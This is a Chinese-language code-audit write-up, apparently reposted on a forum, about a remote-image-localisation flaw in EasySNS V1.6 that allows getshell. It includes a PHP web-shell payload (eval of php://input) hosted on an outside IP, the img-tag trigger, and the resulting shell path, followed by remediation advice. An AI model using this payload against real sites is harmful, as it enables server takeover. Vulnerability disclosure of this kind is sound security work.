搜索

[845] 2018-03-06_【代码审计】EasySNS_V1.6远程图片本地化导致Getshell

文档创建者：s7ckTeam
浏览次数：25
最后更新：2025-01-16
2018-03-06_【代码审计】EasySNS_V1.6远程图片本地化导致Getshell 0 1 0 2 0 3 【 代 码 审 计 】 E a s y S N S _ V 1 . 6 远 程 图 片 本 地 化 导 致 G e t s h e l l 原 创   B y p a s s   B y p a s s   2 0 1 8 - 0 3 - 0 6 前 言 前 言 E S P H P 开 发 框 架 基 础 上 开 发 而 成 的 E a s y S N S 极 简 社 区 为 全 新 数 据 库 架 构 和 程 序 结 构 。 本 文 以 E a s y S N S _ V 1 . 6 作 为 代 码 审 计 的 目 标 ， 分 享 一 个 远 程 图 片 本 地 化 导 致 G e t s h e l l 的 漏 洞 。 环 境 搭 建 环 境 搭 建 E a s y S N S 官 网 ： h t t p : / / w w w . i m z a k e r . c o m / 网 站 源 码 版 本 ： E a s y S N S 极 简 社 区 V 1 . 6 0 程 序 源 码 下 载 ： h t t p : / / e s . i m z a k e r . c o m / i n d e x . p h p / T o p i c / g v i e w / i d / 9 2 . h t m l 默 认 后 台 地 址 ： h t t p : / / 1 2 7 . 0 . 0 . 1 / a d m i n . p h p / L o g i n / l o g i n . h t m l 默 认 账 号 密 码 ： a d m i n / a d m i n 代 码 分 析 代 码 分 析 1 、 漏 洞 文 件 位 置 :     / a p p / c o m m o n . f u n c . p h p 在 公 共 调 用 函 数 里 面 ， 我 们 注 意 到 g e t I m a g e T o L o c a l 函 数 ， 通 过 正 则 从 i m g 标 签 里 面 获 取 链 接 ， 然 后 判 断 是 否 是 本 站 地 址 ， 调 用 了 g e t I m a g e 函 数 实 现 下 载 远 程 图 片 保 存 到 本 地 ， 我 们 跟 进 同 文 件 下 的 g e t I m a g e 函 数 进 行 查 看 ，
0 4 在 g e t I m a g e 函 数 中 ， 并 未 对 下 载 的 文 件 名 进 行 判 断 ， 获 取 文 件 后 缀 拼 接 到 文 件 名 ， 下 载 到 网 站 目 录 中 ， 那 么 这 个 函 数 是 很 危 险 的 ， 很 可 能 导 致 程 序 在 实 现 上 存 在 任 意 文 件 下 载 漏 洞 ， 下 载 远 程 文 件 到 网 站 目 录 下 。 2 、   全 局 搜 索 g e t I m a g e T o L o c a l 函 数 ， 找 到 调 用 函 数 的 地 方 漏 洞 文 件 ： / a p p / i n d e x / c o n t r o l l e r / T o p i c . p h p ， 在 t o p i c a d d 函 数 中 ， w e b c o n f i g ( ' b d _ i m a g e ' ) = = 1 即 当 程 序 开 启 远 程 图 片 本 地 化 的 时 候 ， 调 用 了 g e t I m a g e T o L o c a l 函 数 ， 我 们 可 以 根 据 条 件 构 造 P a y l o a d 来 进 行 漏 洞 利 用 ， 攻 击 者 可 指 定 第 三 方 u r l 下 载 恶 意 脚 本 到 网 站 目 录 ， 进 一 步 触 发 恶 意 代 码 ， 控 制 网 站 服 务 器 。 漏 洞 利 用 漏 洞 利 用 一 、 利 用 条 件 1 、 登 录 网 站 后 台 — 系 统 管 理 — 配 置 管 理 — 开 启 远 程 图 片 本 地 化 （ 默 认 安 装 情 况 下 处 于 关 闭 状 态 ） 2 、 在 第 三 方 网 站 放 置 一 个 e v i l . p h p 作 为 代 码 源 ， 如 h t t p : / / 1 9 2 . 1 6 8 . 8 . 1 3 1 / e v i l . p h p e v i l . p h p 文 件 内 容 : 1 .     < ? p h p     2 .     e c h o   " < ? p h p   " ;     3 .     e c h o   " e v a l ( f i l e _ g e t _ c o n t e n t s ( ' p h p : / / i n p u t ' ) ) ; " ;     4 .     e c h o   " ? > " ;     5 .     ? >    
0 5 二 、 漏 洞 利 用 1 、 注 册 一 个 t e s t 1 用 户 ， 选 择 发 布 帖 子 ， 在 h t m l 代 码 编 辑 状 态 下 插 入 i m g 标 签 < i m g   s r c = " h t t p : / / 1 9 2 . 1 6 8 . 8 . 1 3 1 / e v i l . p h p "   / > 2 、 点 击 发 布 后 ， 查 看 我 的 帖 子 ， 获 取 上 传 后 的 文 件 名 。 3 、 文 件 路 径 格 式 为 ： / u p l o a d s / p i c t u r e / c a c h e / ' . $ u i d . ' / + $ f i l e n a m e 查 看 个 人 主 页 获 取 u i d 值 ，   4 、 需 要 把 u i d 加 上 拼 接 为 完 整 路 径 ， 最 终 获 得 文 件 路 径 ， 成 功 触 发 恶 意 代 码 ， 获 取 网 站 服 务 器 权 限 。 h t t p : / / 1 2 7 . 0 . 0 . 1 / u p l o a d s / p i c t u r e / c a c h e / 2 / 2 _ V H Z H O o p R 1 5 2 0 0 9 4 9 2 4 . p h p 修 复 建 议 修 复 建 议
1 、 白 名 单 限 制 远 程 图 片 本 地 化 下 载 的 文 件 名 后 缀 ， 只 允 许 下 载 j p g 、 p n g 等 格 式 ； 2 、 禁 止 图 片 目 录 脚 本 执 行 权 限 。 B y p a s s A b o u t   M e 一 个 网 络 安 全 爱 好 者 ， 对 技 术 有 着 偏 执 狂 一 样 的 追 求 。 致 力 于 分 享 原 创 高 质 量 干 货 ， 包 括 但 不 限 于 ： 渗 透 测 试 、 W A F 绕 过 、 代 码 审 计 、 安 全 运 维 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理